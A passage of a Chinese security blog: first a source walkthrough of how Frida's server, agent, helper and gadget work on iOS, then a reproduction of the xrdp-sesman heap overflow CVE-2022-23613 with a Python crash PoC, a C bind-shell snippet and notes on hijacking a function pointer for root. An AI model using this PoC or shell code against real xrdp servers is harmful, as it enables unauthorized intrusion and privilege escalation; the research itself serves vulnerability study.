(Frida.ObjectPath.AUTHENTICATION_SERVICE, null_auth));\t\tTransportBroker broker = this;\t\tregistrations.add (connection.register_object (Frida.ObjectPath.TRANSPORT_BROKER, broker));\t} catch (IOError e) {\t\tassert_not_reached ();\t}}\n\n该对象在构造时将会把 HostSession 、AuthenticationService 和 TransportBroker 都注册到 Dbus 对象中,这会使得远程的电脑端能够直接调用这些类中的方法从而实现通信。\n而主要的负责通信的部分都由 ControlChannel 中的函数负责实现,常见的几个函数实现如下:\npublic async uint spawn (string program, HostSpawnOptions options, Cancellable? cancellable) throws GLib.Error {\treturn yield parent.host_session.spawn (program, options, cancellable);}public async void resume (uint pid, Cancellable? cancellable) throws GLib.Error {\tyield parent.resume (pid, this);}public async AgentSessionId attach (uint pid, HashTable<string, Variant> options,\t\tCancellable? cancellable) throws GLib.Error {\treturn yield parent.attach (pid, options, this, cancellable);}\n\n可以看到,当我们使用 spawn 或者 attach 去附加或启动某个进程时,最终还是调用了 host_session 中的对应函数。\n\n这里的 parent 指的是 ControlService 对象\n\n而 host_session 其实是一个 BaseDBusHostSession 对象,该对象是平台相关的,不同平台又不同的实现方法,以 drawin 为例,我们跟一下 spawn:\n\t\tpublic override async uint spawn (string program, HostSpawnOptions options, Cancellable? cancellable)\t\t\t\tthrows Error, IOError {#if IOS || TVOS\t\t\tif (!program.has_prefix ("/"))\t\t\t\treturn yield fruit_controller.spawn (program, options, cancellable);#endif\t\t\treturn yield helper.spawn (program, options, cancellable);\t\t}\n\n可以看出,实际上它只是一个封装,会向下调用 frida-helper 中的 spawn 去实现。对于 darwin 平台,helper 是一个 DarwinHelperBackend ,顺带一提,host_session 其实是 DarwinHostSession 。\n我们跟入实际的函数:\n\t\tpublic async uint spawn (string path, HostSpawnOptions options, Cancellable? cancellable) throws Error, IOError {\t\t\tif (!FileUtils.test (path, EXISTS))\t\t\t\tthrow new Error.EXECUTABLE_NOT_FOUND ("Unable to find executable at '%s'", path);\t\t\tStdioPipes? pipes;//1. 启动进程\t\t\tvar child_pid = _spawn (path, options, out pipes);\t\t\tChildWatch.add ((Pid) child_pid, on_child_dead);\t\t\tif (pipes != null) {\t\t\t\tstdin_streams[child_pid] = new UnixOutputStream (pipes.input, false);\t\t\t\tprocess_next_output_from.begin (new UnixInputStream (pipes.output, false), child_pid, 1, pipes);\t\t\t\tprocess_next_output_from.begin (new UnixInputStream (pipes.error, false), child_pid, 2, pipes);\t\t\t}\t\t\treturn child_pid;\t\t}\n\n到此我们就完成启动了,对于 spawn 模式启动的进程,将在启动后挂起等待附加,接下来我们跟一下 attach 。该函数也是平台相关的,最终的附加部分会由 perform_attach_to 实现:\nprotected override async Future<IOStream> perform_attach_to (uint pid, HashTable<string, Variant> options,\t\tCancellable? cancellable, out Object? transport) throws Error, IOError {\ttransport = null;\tstring remote_address;\tvar stream_future = yield helper.open_pipe_stream (pid, cancellable, out remote_address);\tvar id = yield inject_agent (pid, make_agent_parameters (pid, remote_address, options), cancellable);\tinjectee_by_pid[pid] = id;\treturn stream_future;}\n\n此处可以看出,frida 调用 inject_agent 将 frida-agant 注入到进程中去。\nfrida-agantfrida-agant 在大多数时候充当了 app 内部的服务端。在用户向应用传递新脚本的时候,通过 RPC 服务与 frida-agant 通信,由它来负责注入 hook 。\n在 inject_agent 中注入 agant 之后,entrypoint 为 frida_agent_main ,该函数也由 vala 转换而来,其实现定义在 lib/agant/agant.vala 中:\nnamespace Frida.Agent {\tpublic void main (string agent_parameters, ref Frida.UnloadPolicy unload_policy, void * injector_state) {\t\tif (Runner.shared_instance == null)\t\t\tRunner.create_and_run (agent_parameters, ref unload_policy, injector_state);\t\telse\t\t\tRunner.resume_after_transition (ref unload_policy, injector_state);\t}\n\n从 create_and_run 一路往下跟:\nprivate void run (owned FileDescriptorTablePadder padder) throws Error {\tmain_context.push_thread_default ();\tstart.begin ((owned) padder);\tmain_loop.run ();\tmain_context.pop_thread_default ();\tif (start_error != null)\t\tthrow start_error;}\n\n此处开始之后会先调用 start.run 完成各项初始化任务,然后在 main_loop.run() 中进入循环,直到进程退出。\n而此处 start.begin() 实际上执行的是如下函数:\n\t\tprivate async void start (owned FileDescriptorTablePadder padder) {\t\t\tstring[] tokens = agent_parameters.split ("|");\t\t\tunowned string transport_uri = tokens[0];\t\t\tbool enable_exceptor = true;#if DARWIN\t\t\tenable_exceptor = !Gum.Darwin.query_hardened ();#endif//此处省略\t\t\t{\t\t\t\tvar interceptor = Gum.Interceptor.obtain ();\t\t\t\tinterceptor.begin_transaction ();//此处省略\t\t\ttry {\t\t\t\tyield setup_connection_with_transport_uri (transport_uri);\t\t\t} catch (Error e) {\t\t\t\tstart_error = e;\t\t\t\tmain_loop.quit ();\t\t\t\treturn;\t\t\t}\t\t\tGum.ScriptBackend.get_scheduler ().push_job_on_js_thread (Priority.DEFAULT, () => {\t\t\t\tschedule_idle (start.callback);\t\t\t});\t\t\tyield;\t\t\tpadder = null;\t\t}\n\n可以看到,这里分别初始化了 ScriptBackend 和 Interceptor 。并连接到启动时指定的 transport_uri 建立通信隧道。\nfrida-helper其实这部分已经在前面介绍过了。frida-helper 的作用其实就是用于实现包括通信、注入进程、启动进程等各项功能等模块。这里就不再赘述了。\nfrida-gadget源代码来自于 lib/gadget/gadget.vala,这部分也是笔者一直比较关心的部分,因为它允许我们在非越狱环境下使用 frida。\n直接跟进主要函数:\n\tpublic void load (Gum.MemoryRange? mapped_range, string? config_data, int * result) {\t\tif (loaded)\t\t\treturn;\t\tloaded = true;\t\tEnvironment.init ();\t\tGee.Promise<int>? request = null;\t\tif (result != null)\t\t\trequest = new Gee.Promise<int> ();\t\tlocation = detect_location (mapped_range);//1. 解析或加载配置文件\t\ttry {\t\t\tconfig = (config_data != null)\t\t\t\t? parse_config (config_data)\t\t\t\t: load_config (location);\t\t} catch (Error e) {\t\t\tlog_warning (e.message);\t\t\treturn;\t\t}\t\tGum.Process.set_code_signing_policy (config.code_signing);\t\tGum.Cloak.add_range (location.range);\t\tinterceptor = Gum.Interceptor.obtain ();\t\tinterceptor.begin_transaction ();\t\texceptor = Gum.Exceptor.obtain ();//2. 设定 frida 的启动方式\t\ttry {\t\t\tvar interaction = config.interaction;\t\t\tif (interaction is ScriptInteraction) {\t\t\t\tcontroller = new ScriptRunner (config, location);\t\t\t} else if (interaction is ScriptDirectoryInteraction) {\t\t\t\tcontroller = new ScriptDirectoryRunner (config, location);\t\t\t} else if (interaction is ListenInteraction) {\t\t\t\tcontroller = new ControlServer (config, location);\t\t\t} else if (interaction is ConnectInteraction) {\t\t\t\tcontroller = new ClusterClient (config, location);\t\t\t} else {\t\t\t\tthrow new Error.NOT_SUPPORTED ("Invalid interaction specified");\t\t\t}\t\t} catch (Error e) {\t\t\tresume ();\t\t\tif (request != null) {\t\t\t\trequest.set_exception (e);\t\t\t} else {\t\t\t\tlog_warning ("Failed to start: " + e.message);\t\t\t}\t\t}//3. 启动 interceptor\t\tinterceptor.end_transaction ();\t\tif (controller == null)\t\t\treturn;\t\twait_for_resume_needed = true;//4. 确定是否需要直接恢复进程\t\tvar listen_interaction = config.interaction as ListenInteraction;\t\tif (listen_interaction != null && listen_interaction.on_load == ListenInteraction.LoadBehavior.RESUME) {\t\t\twait_for_resume_needed = false;\t\t}\t\tif (!wait_for_resume_needed)\t\t\tresume ();//5. 完成初始化并加载脚本进入 main_loop\t\tif (wait_for_resume_needed && Environment.can_block_at_load_time ()) {\t\t\tvar scheduler = Gum.ScriptBackend.get_scheduler ();\t\t\tscheduler.disable_background_thread ();\t\t\twait_for_resume_context = scheduler.get_js_context ();\t\t\tvar ignore_scope = new ThreadIgnoreScope (APPLICATION_THREAD);\t\t\tstart (request);\t\t\tvar loop = new MainLoop (wait_for_resume_context, true);\t\t\twait_for_resume_loop = loop;\t\t\twait_for_resume_context.push_thread_default ();\t\t\tloop.run ();\t\t\twait_for_resume_context.pop_thread_default ();\t\t\tscheduler.enable_background_thread ();\t\t\tignore_scope = null;\t\t} else {\t\t\tstart (request);\t\t}\t\tif (result != null) {\t\t\ttry {\t\t\t\t*result = request.future.wait ();\t\t\t} catch (Gee.FutureError e) {\t\t\t\t*result = -1;\t\t\t}\t\t}\t}\n\n首先 Frida-gadget 在被加载时会自动搜索配置文件,如果找到了则根据配置文件处理。\n随后完成一系列工作以后,在进入主循环以前会调用 start 加载脚本:\nprivate void start (Gee.Promise<int>? request) {\tvar source = new IdleSource ();\tsource.set_callback (() => {\t\tperform_start.begin (request);\t\treturn false;\t});\tsource.attach (Environment.get_worker_context ());}\n\n在 perform_start 中会调用 controller.start () ,此时调用的函数将会根据先前用户配置文件中选择的类型完成。\n比方说常用的 Listen 类型就会调用 ControlServer 下的 on_start :\n\t\tprotected override async void on_start () throws Error, IOError {\t\t\tvar interaction = (ListenInteraction) config.interaction;\t\t\tstring? token = interaction.token;\t\t\tauth_service = (token != null) ? new StaticAuthenticationService (token) : null;\t\t\tFile? asset_root = null;\t\t\tstring? asset_root_path = interaction.asset_root;\t\t\tif (asset_root_path != null)\t\t\t\tasset_root = File.new_for_path (location.resolve_asset_path (asset_root_path));\t\t\tvar endpoint_params = new EndpointParameters (interaction.address, interaction.port,\t\t\t\tparse_certificate (interaction.certificate, location), interaction.origin, auth_service, asset_root);// 1. 启动一个 WebService 与用户进行交互\t\t\tservice = new WebService (endpoint_params, CONTROL, interaction.on_port_conflict);\t\t\tservice.incoming.connect (on_incoming_connection);\t\t\tyield service.start (io_cancellable);\t\t}\n\n然后该服务就会监听特定地址了,如果用户传递了文件或代码等,则会与 frida-agant 通过 IPC 服务通信,由对方去负责具体的 hook 行为。\n又比如指定一个脚本令其自动运行:\npublic async void start () throws Error, IOError {\tsave_terminal_config ();\tyield load ();\tif (enable_development && script_path != null) {\t\ttry {\t\t\tscript_monitor = File.new_for_path (script_path).monitor_file (FileMonitorFlags.NONE);\t\t\tscript_monitor.changed.connect (on_script_file_changed);\t\t} catch (GLib.Error e) {\t\t\tprinterr (e.message + "\\n");\t\t}\t}}\n\n此处会调用 load 完成加载和启动的操作,我们跟入:\n\t\tprivate async void load () throws Error, IOError {\t\t\tload_in_progress = true;\t\t\ttry {\t\t\t\tstring source;\t\t\t\tvar options = new ScriptOptions ();//1. 读取脚本内容\t\t\t\tif (script_path != null) {\t\t\t\t\ttry {\t\t\t\t\t\tFileUtils.get_contents (script_path, out source);\t\t\t\t\t} catch (FileError e) {\t\t\t\t\t\tthrow new Error.INVALID_ARGUMENT ("%s", e.message);\t\t\t\t\t}//2. 读取脚本路径\t\t\t\t\toptions.name = Path.get_basename (script_path).split (".", 2)[0];\t\t\t\t} else {\t\t\t\t\tsource = script_source;\t\t\t\t\toptions.name = "frida";\t\t\t\t}\t\t\t\toptions.runtime = script_runtime;//3. 创建脚本\t\t\t\tvar s = yield session.create_script (source, options, io_cancellable);\t\t\t\tif (script != null) {\t\t\t\t\tyield script.unload (io_cancellable);\t\t\t\t\tscript = null;\t\t\t\t}\t\t\t\tscript = s;//4. 加载脚本到进程\t\t\t\tscript.message.connect (on_message);\t\t\t\tyield script.load (io_cancellable);//5. 启动目标进程\t\t\t\tyield call_init ();\t\t\t\tterminal_mode = yield query_terminal_mode ();\t\t\t\tapply_terminal_mode (terminal_mode);\t\t\t\tif (eternalize)\t\t\t\t\tyield script.eternalize (io_cancellable);\t\t\t} finally {\t\t\t\tload_in_progress = false;\t\t\t}\t\t}\n\n其中的 call_init 负责通过 rpc 服务去调用 init :\nprivate async void call_init () {\tvar stage = new Json.Node.alloc ().init_string ("early");\ttry {\t\tyield rpc_client.call ("init", new Json.Node[] { stage, parameters }, io_cancellable);\t} catch (GLib.Error e) {\t}}\n\n在完成以上操作后,frida 会进入 main_loop,而被启动的应用会等待被 resume。\n然后是 perform_start 的后半:\n\tprivate async void perform_start (Gee.Promise<int>? request) {\t\tworker_ignore_scope = new ThreadIgnoreScope (FRIDA_THREAD);\t\ttry {\t\t\tyield controller.start ();\t\t\tvar server = controller as ControlServer;\t\t\tif (server != null) {//1. 如果 controller 是一个服务端的话,那么就需要监听网络地址来和用户进行交互//比如常用的 Listen 模式就需要监听特定地址端口\t\t\t\tvar listen_address = server.listen_address;\t\t\t\tvar inet_address = listen_address as InetSocketAddress;\t\t\t\tif (inet_address != null) {\t\t\t\t\tuint16 listen_port = inet_address.get_port ();\t\t\t\t\tEnvironment.set_thread_name ("frida-gadget-tcp-%u".printf (listen_port));\t\t\t\t\tif (request != null) {\t\t\t\t\t\trequest.set_value (listen_port);\t\t\t\t\t} else {\t\t\t\t\t\tlog_info ("Listening on %s TCP port %u".printf (\t\t\t\t\t\t\tinet_address.get_address ().to_string (),\t\t\t\t\t\t\tlisten_port));\t\t\t\t\t}\t\t\t\t} else {#if !WINDOWS//2. 对于不是 windows 的系统,这里使用的是 frida-gadget-unix,这里监听 unix socket//主要是负责 IPC 服务用的\t\t\t\t\tvar unix_address = (UnixSocketAddress) listen_address;\t\t\t\t\tEnvironment.set_thread_name ("frida-gadget-unix");\t\t\t\t\tif (request != null) {\t\t\t\t\t\trequest.set_value (0);\t\t\t\t\t} else {\t\t\t\t\t\tlog_info ("Listening on UNIX socket at “%s”".printf (unix_address.get_path ()));\t\t\t\t\t}#else\t\t\t\t\tassert_not_reached ();#endif\t\t\t\t}\t\t\t} else {\t\t\t\tif (request != null)\t\t\t\t\trequest.set_value (0);\t\t\t}\t\t} catch (GLib.Error e) {\t\t\tresume ();\t\t\tif (request != null) {\t\t\t\trequest.set_exception (e);\t\t\t} else {\t\t\t\tlog_warning ("Failed to start: " + e.message);\t\t\t}\t\t}\t}\n\n由于该函数是以回调函数的形式被注册的,因此附加的进程在每次触发请求的时候都会重新调用该函数处理。\n然后我们再看看使用这种方式的情况下是如何附加进程和启动进程的。\n在前文中曾说过,通过 IPC 的方式,主机端能够直接调用类中的方法,其中一个比较关键的类是 ControlChannel ,它负责了几个关键行为的设定。\npublic async uint spawn (string program, HostSpawnOptions options, Cancellable? cancellable) throws Error, IOError {\tif (program != this_app.identifier)\t\tthrow new Error.NOT_SUPPORTED ("Unable to spawn other apps when embedded");\tresume_on_attach = false;\treturn this_process.pid;}\n\n对于 spawn 方式的启动,由于所有模块都被打包在同一个进程中,因此当前进程就是将要附加的进程,因此 spawn 可以直接返回当前进程的 pid。\nattach 倒是没太大变化:\npublic async AgentSessionId attach (uint pid, HashTable<string, Variant> options,\t\tCancellable? cancellable) throws Error, IOError {\tvalidate_pid (pid);\tif (resume_on_attach)\t\tFrida.Gadget.resume ();\treturn yield parent.attach (options, this, cancellable);}\n\n它仍然调用 parent.attach 去附加。\n总结一下就是:\n\nfrida-gadget 被注入以后会在加载该库的时候调用 load 方法\n该方法根据用户提供的配置文件选择接下来的行为\n对于 Listen 则是监听地址端口并触发回调完成交互\n如果用户在配置中指定来 resume,那么此前会先调用 resume 恢复进程\n对于 Script 则是读取给定路径下的脚本解析并加载\n如果需要监听文件变化时候动态修改 hook ,那么还需要额外操作\n\nlaunchd上文大致介绍完了 frida 的大体逻辑,但是还有一个细节上的小问题没有解决。具体来说就是,“frida 到底是怎么通过 spawn 启动的进程?”\n实际上,frida 除了对进程本身进行注入以外,还会对 launchd 进行注入:\nInterceptor.attach(Module.getExportByName('/usr/lib/system/libsystem_kernel.dylib', '__posix_spawn'), { onEnter(args) { const env = parseStringv(args[4]); const prewarm = isPrewarmLaunch(env); if (prewarm && !gating) return; const path = args[1].readUtf8String(); let rawIdentifier; if (path === '/usr/libexec/xpcproxy') { rawIdentifier = args[3].add(pointerSize).readPointer().readUtf8String(); } else { rawIdentifier = tryParseXpcServiceName(env); if (rawIdentifier === null) return; } let identifier, event; if (rawIdentifier.startsWith('UIKitApplication:')) { identifier = rawIdentifier.substring(17, rawIdentifier.indexOf('[')); if (!prewarm && upcoming.has(identifier)) event = 'launch:app'; else if (gating) event = 'spawn'; else return; } else if (gating || (reportCrashes && crashServices.has(rawIdentifier))) { identifier = rawIdentifier; event = 'spawn'; } else { return; } const attrs = args[2].add(pointerSize).readPointer(); let flags = attrs.readU16(); flags |= POSIX_SPAWN_START_SUSPENDED; attrs.writeU16(flags); this.event = event; this.path = path; this.identifier = identifier; this.pidPtr = args[0]; }, onLeave(retval) { const { event } = this; if (event === undefined) return; const { path, identifier, pidPtr, threadId } = this; if (event === 'launch:app') upcoming.delete(identifier); if (retval.toInt32() < 0) return; const pid = pidPtr.readU32(); suspendedPids.add(pid); if (pidsToIgnore !== null) pidsToIgnore.add(pid); if (substrateInvocations.has(threadId)) { substratePidsPending.set(pid, notifyFridaBackend); } else { notifyFridaBackend(); } function notifyFridaBackend() { send([event, path, identifier, pid]); } }});\n\n这个地方直接把 __posix_spawn 给 hook 掉了,并且加上了 POSIX_SPAWN_START_SUSPENDED 的 flag,该标记能够让进程在启动后被挂起。\n总结各个组件的功能如下:\n\nfrida-server / 一个服务端。负责在设备上与本机通讯\nfrida-agant / 被注入到进程中去的动态库,通常由 frida-server 释放注入,负责编译脚本注入进程\nfrida-helper / 负责具体的进程注入、启动进程等功能\nfrida-gadgat / frida-server+frida-agant+frida-helper ,将三者的功能全都集成在一个动态库中,由用户手动注入到应用中\n\n这里引出一个小问题,对于被注入 Frida-gadget 的 app 来说,如果我不使用 frida 去启动它,而是通过点击图标的方式原生启动应用,那么应用还能正常启动吗?\n如果仅凭上文的分析,主机端通过 IPC 通信去调用设备上对应的函数从而启动了应用,但是原生启动是不通过 IPC 的,这种情况下,frida-gadget 要如何工作呢?它还会正常去启动应用吗?\n问了一些师傅,他们表示 Android 平台下,即便注入的 frida-gadget 也是可以正常点击打开的,但是笔者在 iOS16 上测试发现这将导致闪退,但是诡异的是,我能够用 frida -U -f bundleid 正常打开应用。而在 iOS14 上,笔者发现应用将会停在启动页面无法继续执行,并且 frida 也没办法附加,以及 frida -U -f bundleid 也无法正常启动了,唯独 Xcode 启动时,一切正常,这十分的诡异。\n以上问题目前笔者还不清楚原因,欢迎师傅们讨论。\n","categories":["Note","逆向工程"],"tags":["逆向工程","Frida"]},{"title":"CVE-2022-23613 漏洞复现与利用可能性尝试","url":"/2022/11/04/CVE-2022-23613-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E4%B8%8E%E5%88%A9%E7%94%A8%E5%8F%AF%E8%83%BD%E6%80%A7%E5%B0%9D%E8%AF%95/","content":"\n写在前面:本篇文章后,笔者已经发现了可稳定利用且不依赖堆喷的利用方案,详情请见笔者于 看雪KCTF2022秋季赛 所出题目:https://bbs.kanxue.com/thread-274982.htm笔者在该比赛中将本题的稳定利用方式作为赛题提交参赛,并最终收获 精致奖(Rank3)因此本篇内容属于笔者对于堆喷利用技巧的探索和思考\n\nCVE-2022-23613复现与漏洞利用可能性因为很少做过真实场景下的漏洞复现,深感自己知识的浅薄,恰巧团里的师傅发了个洞,让我看看怎么利用,因此顺便做一个简陋的分析吧。\n漏洞编号为 CVE-2022-23613,现已公开了相关信息。该漏洞作为一个运行在 root 权限下的 RDP 服务,由于该漏洞最终能够导致任意代码执行,因此笔者打算以提权作为最终的利用目标。\n\n若本文存在任何纰漏,请务必与我联系,我会尽快修正本文内容。\n\n复现环境xrdp-sesman 0.9.18 The xrdp session manager Copyright (C) 2004-2020 Jay Sorg, Neutrino Labs, and all contributors. See https://github.com/neutrinolabs/xrdp for more information.\n\n该项目的开源地址:https://github.com/neutrinolabs/xrdp\n漏洞成因static intsesman_data_in(struct trans *self){+ #define HEADER_SIZE 8 int version; int size; if (self->extra_flags == 0) { in_uint32_be(self->in_s, version); in_uint32_be(self->in_s, size);- if (size > self->in_s->size)+ if (size < HEADER_SIZE || size > self->in_s->size) {- LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size");+ LOG(LOG_LEVEL_ERROR, "sesman_data_in: bad message size %d", size); return 1; } self->header_size = size;@@ -302,11 +303,12 @@ sesman_data_in(struct trans *self) return 1; } /* reset for next message */- self->header_size = 8;+ self->header_size = HEADER_SIZE; self->extra_flags = 0; init_stream(self->in_s, 0); /* Reset input stream pointers */ } return 0;+ #undef HEADER_SIZE}/******************************************************************************/\n\n从已公开的 Patch 可以看出,它添加了一个对 size 变量的负数校验,似乎意味着整数溢出漏洞的存在,不妨跟踪一下该变量。\nelse /* connected server or client (2 or 3) */{ if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);\n\n查找 self->header_size 的引用,可以发现该变量将与 self->trans_recv 的参数间接相关,而该函数类似于 read 的作用,将 self 相关的套接字中读取 to_read 个字符到 self->in_s->end 。\n而该缓冲区来自于:\nstruct trans *trans_create(int mode, int in_size, int out_size){ struct trans *self = (struct trans *) NULL; self = (struct trans *) g_malloc(sizeof(struct trans), 1); if (self != NULL) { make_stream(self->in_s); init_stream(self->in_s, in_size); make_stream(self->out_s); init_stream(self->out_s, out_size); self->mode = mode; self->tls = 0; /* assign tcp calls by default */ self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; } return self;}\n\n#define init_stream(s, v) do \\ { \\ if ((v) > (s)->size) \\ { \\ g_free((s)->data); \\ (s)->data = (char*)g_malloc((v), 0); \\ (s)->size = (v); \\ } \\ (s)->p = (s)->data; \\ (s)->end = (s)->data; \\ (s)->next_packet = 0; \\ } while (0)\n\n可以看见,该缓冲区会通过 g_malloc 创建在堆上,那么只要 to_read 的值超出了堆的原始大小,就有可能造成堆溢出了:\ng_list_trans = trans_create(TRANS_MODE_TCP, 8192, 8192);\n\n从调用点也可以看出,每次建立一个新的连接时都会为该连接创建一个大小为 0x2000 的输入缓冲区,并且接下来将会调用 trans_check_wait_objs :\ninttrans_check_wait_objs(struct trans *self){\t...... if (self->type1 == TRANS_TYPE_LISTENER) /* listening */ {\t\t...... } else /* connected server or client (2 or 3) */ { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);\t\t\t\t...... }\t\t...... } return rv;}\n\n如果创建的类型不为 TRANS_TYPE_LISTENER ,那么该连接就会调用 self->trans_recv 将数据直接读进刚刚创建的输入缓冲区中,且由于它并没有校验 self->header_size 可能是负数的情况,因此可以令 to_read 通过负数减去一个正数溢出为一个极大的正数,从而导致堆溢出。\nPOC:\nimport socketimport structif __name__ == "__main__": s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("127.0.0.1",3350)) sdata = b'' sdata += struct.pack("I",0x2222CCCC) #version sdata += struct.pack(">I",0x80000000) #headersize s.send(sdata) sdata = b'a'*0x10000 #padding s.send(sdata)\n\n漏洞利用回顾一下刚刚的 trans_create 可以发现:\nstruct trans *trans_create(int mode, int in_size, int out_size){ struct trans *self = (struct trans *) NULL; self = (struct trans *) g_malloc(sizeof(struct trans), 1); ...... self->trans_recv = trans_tcp_recv; self->trans_send = trans_tcp_send; self->trans_can_recv = trans_tcp_can_recv; return self;}\n\nstruct trans self 结构体与输入输出缓冲区同样位于堆内存中,并且它还初始化了函数指针,那么一个可行的利用点就是:通过堆溢出去覆盖 self->trans_recv 偏移处的值为一个类似 system 的函数来进行任意命令执行。\n通过 IDA 搜索可以找到如下两个函数:\nextern:00000000004105D8 extrn g_execvp:nearextern:0000000000410658 extrn g_execlp3:near\n\n这两个命令分别是 execvp 和 execlp 的包装,函数实现如下:\nintg_execvp(const char *p1, char *args[]){\t...... args_len = 0; while (args[args_len] != NULL) { args_len++; } g_strnjoin(args_str, ARGS_STR_LEN, " ", (const char **) args, args_len); g_rm_temp_dir(); rv = execvp(p1, args);\t......}intg_execlp3(const char *a1, const char *a2, const char *a3){\t...... g_strnjoin(args_str, ARGS_STR_LEN, " ", args, 2);\t...... g_rm_temp_dir(); rv = execlp(a1, a2, a3, (void *)0);\t......}\n\n因为 xrdp 服务是通过 socket 进行通信的,因此让其打开 “/bin/sh” 是不够的,想要让它能够完成任意命令执行,最好还是让它反弹一个 shell 出来比较合适,比方说:\n#include<stdlib.h>int main(){\tchar ars2[]="-cimport socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind((\\"\\",10000));s.listen();c,_=s.accept();f=c.fileno();os.dup2(f,0);os.dup2(f,1);os.dup2(f,2);os.system(\\"sh\\");";\texeclp("python3","python3",ars2,0);\treturn 0;}\n\n这个格式就比较像 g_execlp3 的实现了对吗?看起来似乎相当可行,但是笔者在经过各种各样的尝试以后放弃了这个做法,因为精准的控制参数是一件极其困难的事情。\n参数控制的难点read_bytes = self->trans_recv(self, self->in_s->end, to_read);\n\n假设我们令 self->trans_recv 为 g_execlp3 ,那么我们就需要令 self 指向 “python3”,self->in_s->end 也是一个指向 “python3” 字符串的指针,以及 to_read 必须为一个指向参数的指针。\n通过 IDA 搜索二进制程序中的字符串可以发现,唯一一个或许能用的字符串只有 “/bin/sh”,因此所有的参数字符串都需要我们一起放在 payload 中输入到内存里去才行。\n但是有与常规的 CTF PWN 题不同的是,用户通过 socket 进行交互,泄露地址是一件比较麻烦的事情,大部分情况下甚至连回显都拿不到,更何况就算有办法拿到回显,泄露地址的参数也仍然需要控制,因此又要绕回到这个问题上,因此只好考虑如何在无地址的情况下完成利用。\n覆盖结构体的细节struct trans{ tbus sck; /* socket handle */ int mode; /* 1 tcp, 2 unix socket, 3 vsock */ int status; int type1; /* 1 listener 2 server 3 client */ ttrans_data_in trans_data_in; ttrans_conn_in trans_conn_in; void *callback_data; int header_size; struct stream *in_s; struct stream *out_s; char *listen_filename; tis_term is_term; /* used to test for exit */ struct stream *wait_s; char addr[256]; char port[256]; int no_stream_init_on_data_in; int extra_flags; /* user defined */ struct ssl_tls *tls; const char *ssl_protocol; /* e.g. TLSv1, TLSv1.1, TLSv1.2, unknown */ const char *cipher_name; /* e.g. AES256-GCM-SHA384 */ trans_recv_proc trans_recv;//0x280 trans_send_proc trans_send; trans_can_recv_proc trans_can_recv; struct source_info *si; enum xrdp_source my_source;};\n\nself 是一个 struct trans ,为了触发 self->trans_recv ,我们需要先通过几个检查:\ninttrans_check_wait_objs(struct trans *self){\t...... if (self->status != TRANS_STATUS_UP) { return 1; } rv = 0; if (self->type1 == TRANS_TYPE_LISTENER) //<------ false {\t\t...... } else /* connected server or client (2 or 3) */ { if (self->si != 0 && self->si->source[self->my_source] > MAX_SBYTES) { } else if (self->trans_can_recv(self, self->sck, 0)) { cur_source = XRDP_SOURCE_NONE; if (self->si != 0) { cur_source = self->si->cur_source; self->si->cur_source = self->my_source; } read_so_far = (int) (self->in_s->end - self->in_s->data); to_read = self->header_size - read_so_far; if (to_read > 0) { read_bytes = self->trans_recv(self, self->in_s->end, to_read);\t\t\t\t......}\n\n\nself->status 必须固定为 TRANS_STATUS_UP\nself->type1 不可为 TRANS_TYPE_LISTENER\nself->trans_can_recv 返回非 0 值\nself->si 非 0\n\n可以注意到,由于 self->status 的值是固定的,因此 self 为字符串时,只有前几个字符可以控制,不过看起来似乎还是够写至少八个字符的,因此第一个参数似乎可以稳定传参。\n但是正如刚刚所说,另外两个参数的控制就显得有些麻烦了。\n首先是 self->in_s->end,这意味着需要先覆盖 self->in_s 为 target_addr-end_offset:\nstruct stream{ char *p; char *end; char *data; int size; int pad0; /* offsets of various headers */ char *iso_hdr; char *mcs_hdr; char *sec_hdr; char *rdp_hdr; char *channel_hdr; /* other */ char *next_packet; struct stream *next; int *source;};\n\n也就是说,需要它是一个地址,而现在我们似乎没办法泄露随机的堆地址。\n第二个是 to_read 函数,它通过两行代码计算得出:\nread_so_far = (int) (self->in_s->end - self->in_s->data);to_read = self->header_size - read_so_far;\n\n控制 to_read 并不困难,假设我们需要它指向一个堆,由于堆地址总是小于 0x80000000,因此它是一个正数能够被保证,其次,self->header_size 能够被任意控制,因此控制其值本身是容易的,但是问题还是一样的,堆地址怎么来?\n另外还有一个需要注意的点是,为了调用 self->trans_recv 需要先通过 self->trans_can_recv ,由于 self 结构体已经被覆盖,该函数是有一定可能调用失败的,该函数的实际实现如下:\nintg_sck_can_recv(int sck, int millis){ fd_set rfds; struct timeval time; int rv; g_memset(&time, 0, sizeof(time)); time.tv_sec = millis / 1000; time.tv_usec = (millis * 1000) % 1000000; FD_ZERO(&rfds); if (sck > 0) { FD_SET(((unsigned int)sck), &rfds); rv = select(sck + 1, &rfds, 0, 0, &time); if (rv > 0) { return 1; } } return 0;}\n\n由于我们完全不关心该函数的功能逻辑,笔者在构造 exp 时候打算令其直接恒真:\n0x0000000000405464 : or al, 0x89 ; ret\n\n注意到程序有这么一个 gadget 可以利用,因此我们将该函数指针覆盖为该 gadget 时即可绕过检查。\n堆喷的可能性您可能会注意到,每次初始化输入缓冲区和输出缓冲区时,都建立了 0x2000 大小的缓冲区,这个值并不小,那么如果多建立几个连接,是否就能够像堆喷那样完成利用呢?\n/** * Maximum number of short-lived connections to sesman * * At the moment, all connections to sesman are short-lived. This may change * in the future */#define MAX_SHORT_LIVED_CONNECTIONS 16\n\n可以看见,此处的 MAX_SHORT_LIVED_CONNECTIONS 较小,它只允许我们最多保持 16 个连接,生成的堆内存如下:\npwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x403000 r--p 3000 0 